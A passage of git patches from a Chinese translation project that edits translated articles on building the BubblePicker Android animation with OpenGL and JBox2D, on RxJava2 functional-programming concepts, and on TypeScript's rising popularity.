 使用 [BubblePicker](https://github.com/igalata/Bubble-Picker)能让一个应用更加的聚焦内容、原创感和有趣。尽管 Google 已经对它所有的产品推出了材料设计语言，但是我们依然决定在此时尝试大胆的颜色和渐变的效果，增加更多的深度和体积的图像。渐变可能是界面显示最主要的视觉效果，也可能会吸引到更多的人使用。
 
 ![](http://images.yalantis.com/w736/uploads/ckeditor/pictures/2328/content_1_gradients.jpg)
@@ -32,8 +22,6 @@ Our component has a white background with lots of bright colors and graphics aga
 
 我们的组件是白色背景，上面包含了很多明亮的颜色和图形。
 
-This high contrast is very helpful for apps rich in content, where users have to choose from a list of options. For example, in our concept we used bubbles to hold the names of potential destinations within a travel app. Bubbles float freely, and when a user taps on one of them, the tapped bubble grows in size.
-
 这种高反差对丰富应用的内容很有帮助，在这里用户不得不从一系列选项列表中做出选择。比如，在我们的概念中，我们在旅行应用中使用气泡来持有潜在的目的地名称。气泡在自由的漂浮，当用户点击其中一个时，那个气泡就会变大。
 
 ![](https://yalantis-com-dev-06-09.s3.amazonaws.com/uploads/ckeditor/pictures/2329/content_discover_animation.gif)
@@ -42,42 +30,24 @@ Moreover, we provide developers with the opportunity to customize the elements o
 
 此外，开发者可以通过自定义屏幕中的元素使得动画适配任何应用。
 
-While working on this animation we had to deal with the following five challenges:
-
 当我们在制作这个动画的同时，我们要面对下面五个挑战：
 
-### **1. Choosing the optimal development tools** ###
-
 ### **1. 选择最佳开发工具** ###
 
-It became clear to us that rendering such a fast animation on Canvas wouldn’t be efficient enough, so we decided to use OpenGL (Open Graphics Library). OpenGL is a cross-platform application programming interface for 2D and 3D graphics rendering. Fortunately, Android supports some versions of OpenGL.
-
 我们都清楚，在 Canvas 上执行这么快的动画效率不够高，所以我们决定使用OpenGL (Open Graphics Library)。 OpenGL 是一个提供 2D 或 3D 图形渲染的、跨平台的应用程序接口。幸运的是，Android 支持一些 OpenGL 的版本。
 
-We needed to make our circles move naturally, just as gas bubbles do in a fizzy drink. There are plenty of physics engines available for Android, but we had specific requirements that made it significantly more difficult to make a choice: the engine needed to be lightweight and easy to embed in the Android library. Most engines are developed for games and require you to adapt the project structure to them. After some research we found JBox2D (a Java port of the Box2D engine written in C++); and since our animation isn’t supposed to be used with a great number of physical bodies (in other words it’s not designed for 200 or more objects) we could get away with using a Java port instead of the original engine.
-
 我们需要让圆更加的自然，就像是汽水中的气泡。有很多物理引擎可用于 Android，但是我们有更特别的需求使得很难选择：这个引擎必须轻量而且方便嵌入 Android 库中。大多数引擎都是为游戏开发的，你必须使工程机构适应它们。经过一些研究，我们发现 JBox2D (一个使用 C++ 开发的、 Java 端口的 Box2D 引擎)；因为我们的动画并不支持很多数量的 body（换句话说，它不是为了200+的对象设计的），我们可以使用 Java 端口而不是原生引擎。
 
-Also, later in this article we’ll explain our choice of programming language (Kotlin) and talk about the advantages of this new language.To find out more about the difference between Java and Kotlin you can read our review in [our previous article](https://yalantis.com/blog/kotlin-vs-java-syntax/).
-
 另外，在本文的后面我们会解释为何选择了 Kotlin 语言编写，我们会谈到它的优势。想要了解 Java 与 Kotlin 更多的区别，请访问[之前的文章](https://yalantis.com/blog/kotlin-vs-java-syntax/)。
 
-### **2. Creating shaders** ###
-
 ### **2. 创建着色器** ###
 
-To begin with, it’s important to understand that the building block in OpenGL is a triangle since it’s the simplest shape that can approximate other shapes. Any shape that you create in OpenGL will consist of one or more triangles. To implement our animation we used two combined triangles for every body, so it looks like a square, where I can draw the circle.
-
 在开始的时候，我们需要先理解 OpenGL 中的构建快是三角形，因为三角形是能够模拟成其他形状中最简单的形状。你在 OpenGL 中创建出的任何形状，都包含了一个或多个三角形。为了实现动画，我们为每个 body 使用了两个组合三角形，所以看起来像个正方形，我们可以在里面画圆。
 
-To render a shape you need to write at least two shaders – a vertex shader and a fragment shader. The difference between these two is evident by their names. A vertex shader is executed for each vertex of each triangle, while a fragment shader is executed for every pixel-sized part of the triangles. 
-
 渲染一个形状至少需要写两个着色器 - 一个顶点着色器和一个片段着色器。它们的名称已经体现了各自的不同。对每个三角形的每个顶点执行一个顶点着色器，而对三角形中的每个像素大小的部分则执行片段着色器。
 
 ![](http://images.yalantis.com/w736/uploads/ckeditor/pictures/2330/content_3.jpg)
 
-Vertex shaders are used to control transformations of the shape (e.g scaling, position, rotation), while fragment shaders are responsible for the color of the sample. 
-
 顶点着色器通常被用于控制形状（如缩放、位置、旋转），而片段着色器负责控制其颜色。
 
 ```
@@ -112,78 +82,46 @@ Vertex shaders are used to control transformations of the shape (e.g scaling, po
     """
 ```
 
-Shaders are written in GLSL (OpenGL Shading Language) and must be compiled at runtime. If you code in Java, the most convenient way to do that is to write your shaders in a separate file and retrieve them using an input stream. As you can see, Kotlin lets developers create shaders in classes more conveniently by putting any multiline code in triple quotes (""").
-
 着色器是使用 GLSL (OpenGL Shading Language) 编写的，必须在运行时编译。如果你用的是 Java 代码，最方便的方法是将你的着色器写到一个单独的文件中，然后使用输入流取回。如你所见，Kotlin 开发人员通过将任何多行代码放到三重引号（"""）中，更方便的在类中创建着色器。
 
-In GLSL there are several types of variables: 
-
 GLSL 有几种不同类型的变量：
 
-- Uniform variables hold the same value for all vertices and fragments
-
 - 统一变量对所有顶点和片段持有相同的值
 
-- Attribute variables are different for each vertex
-
 - 属性变量对每个顶点都不同
 
-- Varying variables are used to pass data from a vertex shader to a fragment shader, and their values are linearly interpolated for each fragment  
-
 - 变化中变量将数据从顶点着色器传递到片段着色器，对于每个片段都是用线性内插法赋值
 
-The `u_Move` variable contains x and y values that should be added to the current position of the vertex. Obviously, these values should be equal for all vertices of the shape and the type of this variable is uniform, while the position of the vertices will differ. So the `a_Position` variable is an attribute variable. The` a_UV` variable is needed for two purposes:
-
 u_Move 变量包含了 x 和 y 两个值，用于表示顶点当前位置的移动增量。很明显，他们的值应该与一个形状中的所有顶点的该变量的值相同，类型也应该是相同的，虽然这些顶点各自的位置不同。a_Position 变量是属性变量，a_UV 变量用于以下两个目的：
 
-1. To find out the distance between the current fragment and the center of the square; depending on this distance, we can change the color of the fragment to draw a circle.
-
 1. 得到当前片段与正方形中心的距离；根据这个距离，我们能够改变片段的颜色来画圆。
 
-2. To properly place the texture (the photo and the name of the country) in the center of a shape.
-
 2. 将纹理（照片和国家名称）放在图形的中心。
 
 ![](http://images.yalantis.com/w736/uploads/ckeditor/pictures/2331/content_4.jpg)
 
-The `a_UV` variable contains x and y values that are different for each vertex and which lie between 0 and 1. In the vertex shader, we just pass the value of the `a_UV` variable to the `v_UV` variable, so the `v_UV` variable can be interpolated for every fragment. As a result, the `v_UV` variable for a fragment in the center of a shape will contain the value [0.5, 0.5]. To figure out the distance between the picked fragment and the center we use the distance() method. This method uses two points as a parameter.
-
 a_UV 变量包含了 x 和 y 两个变量，值在 0 和 1 之间，对于每个顶点都不同。在顶点着色器中，我们将值从 a_UV 变量传递给 v_UV 变量，这样每个片段都会被插入 v_UV 变量。结果，形状中心片段的 v_UV 变量的值就是 [0.5, 0.5]。我们使用 distance() 方法来计算一个选中的片段到中心的距离。这个方法使用两点作为参数。
 
-### **3. Using smoothstep to draw antialiased circles** ###
-
 ### **3. 使用 smoothstep 方法画抗锯齿圆** ###
 
-Initially my fragment shader looked a bit different:
-
 起初，我的片段着色器看起来有些不一样：
 
 ```
     gl_FragColor = distance < 0.5 ? texture2D(u_Text, v_UV) : u_BgColor;
 ```    
 
-I changed the fragment color depending on the distance from the center without any antialiasing. And the result was not so impressive — the edges of the circles were notched.
-
 我根据到中心的距离改变了片段颜色，没有使用抗锯齿。结果并不理想，圆的边缘被切开了。
 
 ![](http://images.yalantis.com/w736/uploads/ckeditor/pictures/2332/content_6.jpg)
 
-So the smoothstep function was the solution. It smoothly interpolates from 0 to 1 based on distance compared to the start and end point of the transition between the texture and the background. Thus the alpha of the texture on the distance from 0 to 0.49 is 1, on the 0.5 and above it is 0, and between the 0.49 and 0.5 it is interpolated, so the edges of the circles would be antialiased.
-
 smoothstep 方法可以解决这个问题。基于纹理与背景之间过度的从开始到结束点之间的距离，从 0 到 1 平滑插入。纹理的距离在 0 到 0.49 之间值设为1，0.5 以上的为0，并且0.49 到 0.5 之间会被插入，所以圆的边缘会被抗锯齿。
 
 ![](http://images.yalantis.com/w736/uploads/ckeditor/pictures/2333/content_7.jpg)
 
-### **4. Using textures to display images and text in OpenGL** ###
-
 ### **4. 使用纹理在 OpenGL 中显示图片和文本** ###
 
-Every circle in this animation has two states – normal and selected. In the normal state, the texture of a circle contains text and color; in the selected state, the texture also contains an image. So for every circle we needed to create two different textures. 
-
 动画中的每个圆都有两个状态 - 正常状态和选中状态。在正常状态中，圆中的纹理包含了文字和颜色；在选中的状态，纹理则还会包含了一个图片。所以，对每个圆我们都应该创建两个不同的纹理。
 
-To create the texture we use a Bitmap instance where we draw all the elements and bind the texture:
-
 为了创建纹理，我们使用一个 Bitmap 的实例，在实例里我们画出所有的元素并绑定纹理：
 
 ```
@@ -226,16 +164,10 @@ To create the texture we use a Bitmap instance where we draw all the elements an
     
 ```
 
-After doing this, we pass the texture unit to the `u_Text` variable. To get the actual color of a fragment we use the `texture2D()` method, which receives the texture unit and the position of the fragment respective to its vertices. 
-
 做完这些之后，我们将这个纹理传递给 u_Text 变量。我们通过 texture2D() 方法来获取一个片段的真实颜色，我们还能获得纹理单元和片段相对于其顶点的位置。
 
-### **5. Using JBox2D to make the bubbles move** ###
-
 ### **5. 使用 JBox2D 让气泡移动** ###
 
-The animation is pretty simple in terms of the physics. The main object is a World instance, and all the bodies must be created using this world: 
-
 从物理的角度，这个动画非常简单。主对象是一个 World 实例，所有的 body 都需要在这个 World 里创建：
 
 ```
@@ -273,16 +205,10 @@ The animation is pretty simple in terms of the physics. The main object is a Wor
     }
 ```    
 
-As we can see, it’s easy to create the body: we simply need to specify the body type (e.g dynamic, static, kinematic), and its position, radius, shape, density, and fixture. 
-
 正如我们所见，body 容易创建：我们需要简单的制定 body 类型（如：dynamic, static, kinematic），position，radius，shape，density 和 fixture 属性。
 
-Every time the surface is being drawn, it’s necessary to call the `step()` method of the World instance to move all the bodies. After that we can draw all shapes at their new positions. 
-
 当这个面被画出来，我们需要调用 World 的 step() 方法来移动所有的 body。然后，我们就可以在新的位置画出所有的形状了。
 
-The issue we faced is that `JBox2D` doesn’t support orbital gravity. As a result, we couldn’t move the circles to the center of the screen. So we had to implement this feature ourselves:
-
 我们遇到一个问题，JBox2D 不能支持轨道重力。这样，我们就不能将圆移动到屏幕中间了。所以我们只能自己实现这个特性：
 
 ```
@@ -303,16 +229,10 @@ The issue we faced is that `JBox2D` doesn’t support orbital gravity. As a resu
 
 ![](http://images.yalantis.com/w736/uploads/ckeditor/pictures/2334/content_8.jpg)
 
-Every time the world moves, we calculate the appropriate force and apply it to each body, making it look like the circles are affected by a gravitation force. 
-
 每当 World 移动时，我们计算一个合适的力度作用于每个 body，使得看起来像是受到了重力的影响。
 
-### **6. Detecting user touch in GlSurfaceView** ###
-
 ### **6. 在 GlSurfaceView 中检测用户触碰** ###
 
-`GLSurfaceView`, like any other Android view, can react to a user’s touch:
-
 GLSurfaceView 和其他的 Android view 一样可以对用户触碰反应：
 
 ```
@@ -348,8 +268,6 @@ GLSurfaceView 和其他的 Android view 一样可以对用户触碰反应：
     private fun isClick(event: MotionEvent)= Math.abs(event.x - startX) < 20 && Math.abs(event.y - startY) < 20private fun isSwipe(event: MotionEvent)= Math.abs(event.x - previousX) > 20 && Math.abs(event.y - previousY) > 20
 ```
 
-The `GLSurfaceView` intercepts all touches and its renderer handles all of them:
-
 GLSurfaceView 拦截所有的触摸事件，渲染器处理他们：
 
 ```
@@ -371,16 +289,10 @@ GLSurfaceView 拦截所有的触摸事件，渲染器处理他们：
     }
 ```    
 
-When a user swipes the screen, we increase the gravity and change its center, so for the user it looks like they are controlling the movements of the bubbles. When the user stops swiping, we return the bubbles to their initial state. 
-
 当用户滑动屏幕，我们增加重力并改变中心，在用户看来就像是控制了气泡的移动。当用户停止了滑动，我们将气泡恢复到初始状态。
 
-### **7. Finding a bubble by the coordinates of a user’s touches** ###
-
 ### **7. 通过用户触碰的坐标找到气泡** ###
 
-When a user clicks on a circle, we receive the touch position on the screen in the `onTouchEvent() `method. But we also need to find the clicked circle in OpenGL’s coordinate system. By default, the center of the `GLSurfaceView` has the position [0, 0], and the x and y values lie between -1 and 1. So we also have to consider the ratio of the screen:
-
 当用户点击了一个圆，我们通过 onTouchEvent() 方法接收到了触碰点在屏幕上的坐标。但是，我们还需要找到被点击的圆在 OpenGL 坐标体系中的位置。默认情况下，GLSerfaceView 中心的坐标是 [0, 0]，x 和 y 变量在 -1 到 1 之间。所以，我们还需要考虑到屏幕的比例：
 
 ```
@@ -391,24 +303,14 @@ When a user clicks on a circle, we receive the touch position on the screen in t
     }
 ```   
 
-When we find the selected circle, we change its radius, density, and texture.
-
 当我们找到了选中的圆就改变它的半径、密度和纹理。
 
-This is the first version of our Bubble Picker, and we surely plan to develop it further. We'd like to give other developers the possibility to customize the physical behavior of bubbles and specify urls to add images to the animation. We also want to add some new features such as the ability to remove bubbles.
-
 这是我们第一版 Bubble Picker，而且还将进一步完善。
 
-Don’t hesitate to send us your experiments, we are curious to see how you use our Bubble Picker. And do let us know if you have any questions or suggestion regarding the animation.
-
 请将你们的实验发给我们，让我们看到你是如何使用 Bubble Picker的。如果对动画有任何问题或建议，请告诉我们。
 
-We are going to publish more awesome things soon. Stay tuned!
-
 我们会尽快出版更多干活。 敬请关注！
 
-Check out our [BubblePicker animation on GitHub](https://github.com/igalata/Bubble-Picker) and [BubblePicker on Dribbble](https://dribbble.com/shots/3349372-Bubble-Picker-Open-Source-Component).
-
 请检出[BubblePicker animation on GitHub](https://github.com/igalata/Bubble-Picker) 和 [BubblePicker on Dribbble](https://dribbble.com/shots/3349372-Bubble-Picker-Open-Source-Component)。
 
 ---

From 75ca9d48814e908242abe9920b80dcad08ecc95c Mon Sep 17 00:00:00 2001
From: hackerkevin <hackerkevin@users.noreply.github.com>
Date: Tue, 9 May 2017 22:24:24 +0800
Subject: [PATCH 394/638] Update
 how-we-created-bubblepicker-a-colourful-animation-for-android.md

---
 ...-created-bubblepicker-a-colourful-animation-for-android.md | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/TODO/how-we-created-bubblepicker-a-colourful-animation-for-android.md b/TODO/how-we-created-bubblepicker-a-colourful-animation-for-android.md
index 17a5d9e2798..b0637d15347 100644
--- a/TODO/how-we-created-bubblepicker-a-colourful-animation-for-android.md
+++ b/TODO/how-we-created-bubblepicker-a-colourful-animation-for-android.md
@@ -18,16 +18,12 @@
 
 ![](http://images.yalantis.com/w736/uploads/ckeditor/pictures/2328/content_1_gradients.jpg)
 
-Our component has a white background with lots of bright colors and graphics against it. 
-
 我们的组件是白色背景，上面包含了很多明亮的颜色和图形。
 
 这种高反差对丰富应用的内容很有帮助，在这里用户不得不从一系列选项列表中做出选择。比如，在我们的概念中，我们在旅行应用中使用气泡来持有潜在的目的地名称。气泡在自由的漂浮，当用户点击其中一个时，那个气泡就会变大。
 
 ![](https://yalantis-com-dev-06-09.s3.amazonaws.com/uploads/ckeditor/pictures/2329/content_discover_animation.gif)
 
-Moreover, we provide developers with the opportunity to customize the elements of the screen to make the animation suit any app.  
-
 此外，开发者可以通过自定义屏幕中的元素使得动画适配任何应用。
 
 当我们在制作这个动画的同时，我们要面对下面五个挑战：

From ced6a3105bfe351b841c8e780f6fa3c1ef89c025 Mon Sep 17 00:00:00 2001
From: Shirley Yang <yang.scorpio@aliyun.com>
Date: Wed, 10 May 2017 00:01:08 +0800
Subject: [PATCH 395/638] format modification

---
 ...-android-rxjava2-what-the-hell-is-this-part3.md | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/TODO/functional-interfaces-functional-programming-and-lambda-expressions-reactive-programming-android-rxjava2-what-the-hell-is-this-part3.md b/TODO/functional-interfaces-functional-programming-and-lambda-expressions-reactive-programming-android-rxjava2-what-the-hell-is-this-part3.md
index d0b8deec28e..493d8a59fbf 100644
--- a/TODO/functional-interfaces-functional-programming-and-lambda-expressions-reactive-programming-android-rxjava2-what-the-hell-is-this-part3.md
+++ b/TODO/functional-interfaces-functional-programming-and-lambda-expressions-reactive-programming-android-rxjava2-what-the-hell-is-this-part3.md
@@ -4,7 +4,7 @@
 > * 译者：[XHShirley](https://github.com/XHShirley)
 > * 校对者：[stormrabbit](https://github.com/stormrabbit), [phxnirvana](https://github.com/phxnirvana)
 
-##函数式接口，默认方法，纯函数，函数的副作用，高阶函数，可变的和不可变的，函数式编程和 Lambda 表达式 -  响应式编程 ［Android RxJava 2］（这到底是什么）第三部分##
+#函数式接口、默认方法、纯函数、函数的副作用、高阶函数、可变的和不可变的、函数式编程和 Lambda 表达式 -  响应式编程 ［Android RxJava 2］（这到底是什么）第三部分
 
 
 太棒了，我们又来到新的一天。这一次，我们要学一些新的东西让今天变得有意思起来。
@@ -30,7 +30,7 @@
 
 **函数式接口:**
 
-一言以蔽之，**函数式接口是有且只有一个抽象方法的接口。**换言之，**任何拥有唯一抽象方法的接口都可以被称为函数式接口。**这里我想分享一些背景知识，这些知识不属于这个系列，但是对你面试尤其有用。如果你读过我的定义。我用了关键词抽象，众所周知的是接口里的方法都是抽象的，但那是 Java 8 出现之前的情况。在 Java 8 里，我们可以在接口中定义一个包含方法体的方法，这个方法叫默认方法，正如下面所示。
+一言以蔽之，**函数式接口是有且只有一个抽象方法的接口**。换言之，**任何拥有唯一抽象方法的接口都可以被称为函数式接口**。这里我想分享一些背景知识，这些知识不属于这个系列，但是对你面试尤其有用。如果你读过我的定义。我用了关键词抽象，众所周知的是接口里的方法都是抽象的，但那是 Java 8 出现之前的情况。在 Java 8 里，我们可以在接口中定义一个包含方法体的方法，这个方法叫默认方法，正如下面所示。
 
 ```
 public interface Account {
@@ -114,7 +114,7 @@ RxJava2:
 
 [![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/Screen-Shot-2017-03-04-at-9.56.49-AM-182x300.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/Screen-Shot-2017-03-04-at-9.56.49-AM.png)
 
-哇哦！我们该庆祝一下我们已经知道什么是函数式接口，以及在 Java 8 里什么是默认方法。我在介绍一栏中写到的本章需要探讨的概念，已经解释完两个了。~~函数式接口，默认方法~~，纯函数，函数的副作用，高阶函数，可变的和不可变的，函数式编程和 Lambda 表达式。
+哇哦！我们该庆祝一下我们已经知道什么是函数式接口，以及在 Java 8 里什么是默认方法。我在介绍一栏中写到的本章需要探讨的概念，已经解释完两个了。~~函数式接口、默认方法~~、纯函数、函数的副作用、高阶函数、可变的和不可变的、函数式编程和 Lambda 表达式。
 
 **函数式编程:**
 
@@ -221,7 +221,7 @@ public void login(String username, String password, Callback c){
 
 现在我们又理解了两个名词。纯函数和副作用。
 
-~~函数式接口，默认方法，纯函数，函数的副作用~~，高阶函数，可变的和不可变的，函数式编程和 Lambda 表达式。
+~~函数式接口、默认方法、纯函数、函数的副作用~~、高阶函数、可变的和不可变的、函数式编程和 Lambda 表达式。
 
 接下来，我们准备讨论可变的不可变的。在数学中，我们记得，当我给函数一个值，我总能获得新的值，而我原来的值还是一样的。但是，在编程中，那个概念就变了。这时为什么我们有两种不同的定义。可变的和不可变的。在面向对象中，我们几乎无时不刻不在破坏不可变性。这可能导致很多问题，但是函数式编程总是利用不可变性。正如每个人都知道在 Java 里，String 是不可变的。
 
@@ -339,7 +339,7 @@ public class FunctionalLambda {
 
 运行完这段例子后，我所期望的和实际输出的是一致的，因为我的程序没有对数组做直接改变，而是拷贝了我的数据。这就是为什么我可以说我的数组是不可变的。对不起，我也用 Rx 了。但是从现在开始，我会加一点 Rx 到我的例子里。我会在接下来的文章中解释清楚。但是，请相信我，那是一个函数式程序。在程序里，我有一个纯函数做平方运算，并且我的数组不改变，因为我将使用函数式范式。
 
-~~函数式接口，默认方法，纯函数，函数的副作用~~，高阶函数，可变的和不可变的，函数式编程和 Lambda 表达式。
+~~函数式接口、默认方法、纯函数、函数的副作用、~~高阶函数、~~可变的和不可变的、~~函数式编程和 Lambda 表达式。
 
 是时候解释清楚高阶函数 (HOF) 的含义了。
 
@@ -347,11 +347,11 @@ public class FunctionalLambda {
 
 那简直太简单了，并且我们在 Rx 编程中用了很多这个概念。在 Java 8 之前，展示 HOF 还是有点困难的，但是我们使用匿名类作为 HOF。我们大多在 C++ 中使用这个概念，把函数作为一个参数。在安卓中，这就类似于添加一个匿名类为点击事件监听者。所以你可以说，这是 HOF 的一个例子。我会在介绍 Rx 的文章中更详细地解释这个。
 
-~~函数式接口，默认方法，纯函数，函数的副作用，高阶函数~~，可变的和不可变的，函数式编程和 Lambda 表达式。
+~~函数式接口、默认方法、纯函数、函数的副作用、高阶函数、可变的和不可变的、~~函数式编程和 Lambda 表达式。
 
 现在，如果我们使用这些概念，在任何语言中，我们所讨论的纯函数，HOF，不可变的都是接下来的函数式范式。那就是函数式编程。在面向对象编程时我们经常要管理对象的状态，但是在函数式程序里，我们有数据，管理好了不可变性，我们可以大胆地做运算。
 
-~~函数式接口，默认方法，纯函数，函数的副作用，高阶函数，可变的和不可变的，函数式编程~~和 Lambda 表达式。
+~~函数式接口、默认方法、纯函数、函数的副作用、高阶函数、可变的和不可变的、函数式编程~~和 Lambda 表达式。
 
 加油呀！我们已经弄清楚了很多关于函数式编程模棱两可的概念。现在我们要用学习 Lambda 表达式来结束这篇文章。
 

From 62a1fa978301cdbbbecbf564b32434752ed3abf1 Mon Sep 17 00:00:00 2001
From: Shirley Yang <yang.scorpio@aliyun.com>
Date: Wed, 10 May 2017 00:03:09 +0800
Subject: [PATCH 396/638] title format modified

---
 ...e-programming-android-rxjava2-what-the-hell-is-this-part3.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/functional-interfaces-functional-programming-and-lambda-expressions-reactive-programming-android-rxjava2-what-the-hell-is-this-part3.md b/TODO/functional-interfaces-functional-programming-and-lambda-expressions-reactive-programming-android-rxjava2-what-the-hell-is-this-part3.md
index 493d8a59fbf..af2cc8674f3 100644
--- a/TODO/functional-interfaces-functional-programming-and-lambda-expressions-reactive-programming-android-rxjava2-what-the-hell-is-this-part3.md
+++ b/TODO/functional-interfaces-functional-programming-and-lambda-expressions-reactive-programming-android-rxjava2-what-the-hell-is-this-part3.md
@@ -4,7 +4,7 @@
 > * 译者：[XHShirley](https://github.com/XHShirley)
 > * 校对者：[stormrabbit](https://github.com/stormrabbit), [phxnirvana](https://github.com/phxnirvana)
 
-#函数式接口、默认方法、纯函数、函数的副作用、高阶函数、可变的和不可变的、函数式编程和 Lambda 表达式 -  响应式编程 ［Android RxJava 2］（这到底是什么）第三部分
+# 函数式接口、默认方法、纯函数、函数的副作用、高阶函数、可变的和不可变的、函数式编程和 Lambda 表达式 -  响应式编程 ［Android RxJava 2］（这到底是什么）第三部分
 
 
 太棒了，我们又来到新的一天。这一次，我们要学一些新的东西让今天变得有意思起来。

From ec4a8b039a77c6fdc37f83e2d77fdadba7f3512f Mon Sep 17 00:00:00 2001
From: loveky <ylzcylx@gmail.com>
Date: Wed, 10 May 2017 09:12:47 +0800
Subject: [PATCH 397/638] save

---
 TODO/typescript-getting-popular.md | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/TODO/typescript-getting-popular.md b/TODO/typescript-getting-popular.md
index 5f92e1792e1..41e6f209482 100644
--- a/TODO/typescript-getting-popular.md
+++ b/TODO/typescript-getting-popular.md
@@ -10,7 +10,7 @@
 
 为何 [TypeScript](https://www.typescriptlang.org/) 这么流行呢？许多主流的开发框架依赖于它，它还能提高开发者在不断变化的 JavaScript 世界中的生产力。
 
-在最近的 [Stack Overflow 开发者调查](https://stackoverflow.com/insights/survey/2017#technology)以及年度 [RedMonk](http://redmonk.com) 编程[语言排名](https://redmonk.com/sogrady/2017/03/17/language-rankings-1-17/)中都显示 [TypeScript](https://www.thenewstack.io/tag/TypeScript) —— 由微软发起的结合了编译高级 JavaScript 特性与静态类型检查及工具的开源项目 —— 正在达到新的人气高度。通过为 JavaScript 提供[最基本的检查语法](https://medium.com/@tomdale/glimmer-js-whats-the-deal-with-typescript-f666d1a3aad0)，TypeScript 允许开发者对他们的代码进行类型检查，这可以暴露 bug 并改善大型 JavaScript 代码库的结构和文档。
+在最近的 [Stack Overflow 开发者调查](https://stackoverflow.com/insights/survey/2017#technology)以及年度 [RedMonk](http://redmonk.com) 编程[语言排名](https://redmonk.com/sogrady/2017/03/17/language-rankings-1-17/)中都显示 [TypeScript](https://www.thenewstack.io/tag/TypeScript) —— 由微软发起的结合了编译高级 JavaScript 特性与静态类型检查及工具的开源项目 —— 正在达到新的人气高度。通过为 JavaScript 提供[最基本的检查语法](https://medium.com/@tomdale/glimmer-js-whats-the-deal-with-typescript-f666d1a3aad0)，TypeScript 允许开发者对他们的代码进行类型检查，这可以[暴露 bug 并改善大型 JavaScript 代码库的结构和文档]((https://slack.engineering/typescript-at-slack-a81307fa288d))。
 
 参与了 Stack Overflow 调查的开发者中有 9.5% 的人正在使用 TypeScript，这使得 TypeScript 成为了第九流行的编程语言。排名在 Ruby 之前，用户量是 Perl 的两倍。此次 Stack Overflow 调查中的受访者来自不同领域；使用最广泛的两种语言是 JavaScript 和 SQL，这说明此次调查并非只针对前端开发。事实上，TypeScript 程序员出现在了参与 Stack Overflow 调查的所有 4 种工作角色中；web 开发者、桌面开发者、系统管理员与 DevOps 以及数据科学家。
 
@@ -20,13 +20,13 @@ RedMonk 的排名将 Stack Overflow 的数据与 Github 上的 pull request 结
 
 在另一个针对开发者的调查中，TypeScript 在众多 JavaScript 的『替代』[风格](http://stateofjs.com/2016/flavors/)中拥有最高的使用率（21%）以及尚未的用户中最高的关注度（39%）。这项调查的方式不同寻常 —— 它很奇怪的将转译器和包管理器（如 [npm](https://www.npmjs.com/) 和 [Bower](https://bower.io/)）混合在一起 —— 但参与了这项调查且经常使用 TypeScript 的开发者也经常使用 [ECMAScript 2015](http://www.ecma-international.org/ecma-262/6.0/)、[NativeScript](https://www.nativescript.org/)、[Angular](https://angular.io/)，尤其是 Angular2。
 
-来自 RedMonk 的 [Stephen O’Grady](http://redmonk.com/team/stephen-ogrady/) 指出『似乎有理由相信 Angular』在 TypeScript 的日益普及中发挥了作用。Angular2 只是众多使用了 TypeScript 的项目中的一个（Asana 和 Dojo 已经在使用了，Adobe、Google、Palantir、SitePen 以及 eBay 的一些内部项目也是一样）。但最为人们所熟知的，恐怕还是像 [Rob Wormald](https://twitter.com/robwormald) 这样的 Google 员工在宣传 Angular 时顺带推广了 TypeScript。
+来自 RedMonk 的 [Stephen O’Grady](http://redmonk.com/team/stephen-ogrady/) 指出『似乎有理由相信 Angular』在 TypeScript 的日益普及中发挥了作用。虽然Angular2 只是众多使用了 TypeScript 的项目中的一个（Asana 和 Dojo 已经在使用了，Adobe、Google、Palantir、SitePen 以及 eBay 的一些内部项目也是一样）。但最为人们所熟知的，恐怕还是像 [Rob Wormald](https://twitter.com/robwormald) 这样的 Google 员工在宣传 Angular 时顺带推广了 TypeScript。
 
 ## 不止是 Angular2 ##
 
 『毫无疑问，我们与 Angular 团队的合作有助于 TypeScript 的推广』，TypeScript 核心成员 [Anders Hejlsberg ](https://twitter.com/ahejlsberg?lang=en) 向 New Stack 说到。『但即便如此，我认为真正重要的点在于这是一次代表了行业力量重大信心的信任投票。』
 
-他指出，这种信任投票带来的影响比 Angular 更广泛。『目前，许多其它框架也在使用 TypeScript。[Aurelia](http://aurelia.io/)、[Ionic](https://ionicframework.com/)、NativeScript都以某种方式使用了 TypeScript。[Ember](https://www.emberjs.com/) 框架与 [Glimmer](https://github.com/glimmerjs) 框架的最新发布版本就是使用 TypeScript 编写的。』
+他指出，这种信任投票带来的影响不仅仅在于 Angular。『目前，许多其它框架也在使用 TypeScript。[Aurelia](http://aurelia.io/)、[Ionic](https://ionicframework.com/)、NativeScript都以某种方式使用了 TypeScript。[Ember](https://www.emberjs.com/) 框架与 [Glimmer](https://github.com/glimmerjs) 框架的最新发布版本就是使用 TypeScript 编写的。』
 
 > 『我们看到许多来自在这个行业经验丰富的人的信任投票。我想这可能是每个在大公司的人都会注意到的』—— Anders Hejlsberg
 
@@ -38,7 +38,7 @@ RedMonk 的排名将 Stack Overflow 的数据与 Github 上的 pull request 结
 
 [![](https://cdn.thenewstack.io/media/2017/04/940acc19-stateofthenation.png)](http://vmob.me/DE1Q17)
 
-React 是由 Facebook 发起的库。Angular 是从 Google 衍生出来的框架。有很多分析把它们做了比较。总得来说，Angular 处于领跑地位，与此同时 Vue.js 正在受到大量关注。Angular 在 TypeScript 的用户圈中受到追捧，41% 的人倾向于 2.x 版本，另外 18% 的人则更喜欢老版本。随着近期 Angular 4 的发布以及 TypeScript 的日益流行，我们预计 JavaScript 的战争还将持续下去（Lawrence Hecht）。
+React 是由 Facebook 发起的库。Angular 是从 Google 衍生出来的框架。有很多分析把它们做了比较。总的来说，Angular 处于领跑地位，与此同时 Vue.js 正在受到大量关注。Angular 在 TypeScript 的用户圈中受到追捧，41% 的人倾向于 2.x 版本，另外 18% 的人则更喜欢老版本。随着近期 Angular 4 的发布以及 TypeScript 的日益流行，我们预计 JavaScript 的战争还将持续下去（Lawrence Hecht）。
 
 拥有 TypeScript 类型定义的库的数量也在稳步增长。[DefinitelyTyped](http://definitelytyped.org/)，一个维护 TypeScript 类型定义的仓库，现在已经包含了超过 3000 个框架和库。通过把声明文件作为 npm 包发布在 @type 命名空间下，这个过程被大大提速了。
 
@@ -46,7 +46,7 @@ React 是由 Facebook 发起的库。Angular 是从 Google 衍生出来的框架
 
